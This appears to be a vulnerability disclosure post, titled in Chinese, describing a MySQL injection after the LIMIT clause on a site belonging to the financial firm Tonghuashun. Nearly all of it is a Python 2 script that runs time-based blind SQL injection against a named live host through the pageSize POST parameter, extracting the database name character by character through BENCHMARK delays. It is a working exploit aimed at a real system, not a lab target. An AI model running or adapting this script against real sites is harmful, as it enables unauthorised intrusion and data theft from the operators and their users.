同花顺某站MySQL limit后面注入

#!/usr/bin/env python
 #-*-coding:utf-8-*-
 
 
 import string
 import requests
 import time
 
 
 payloads = string.ascii_lowercase + string.digits + '_@. '
 res = ''
 url = "http://moni.10jqka.com.cn/msgboard/msgboard/getmsg"
 headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36'}
 
 for i in range(1, 20):
  for p in payloads:
   start_time = time.time()
   key = "1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ascii(MID(database(),{},1)) LIKE {},BENCHMARK(1*10000000,md5(1)),1))))),1)/x23".format(i, ord(p))
   data = {"current": 1, "bid": "hz9460%257C322983359", "userPic": "true", "pageSize": key}
   req = requests.post(url, data=data, headers=headers)
   print req.request.body
   if time.time() - start_time > 4:
    res = res + p
    print "/n" + res + "/n"
    break
 print "/n/n[Finish]: " + res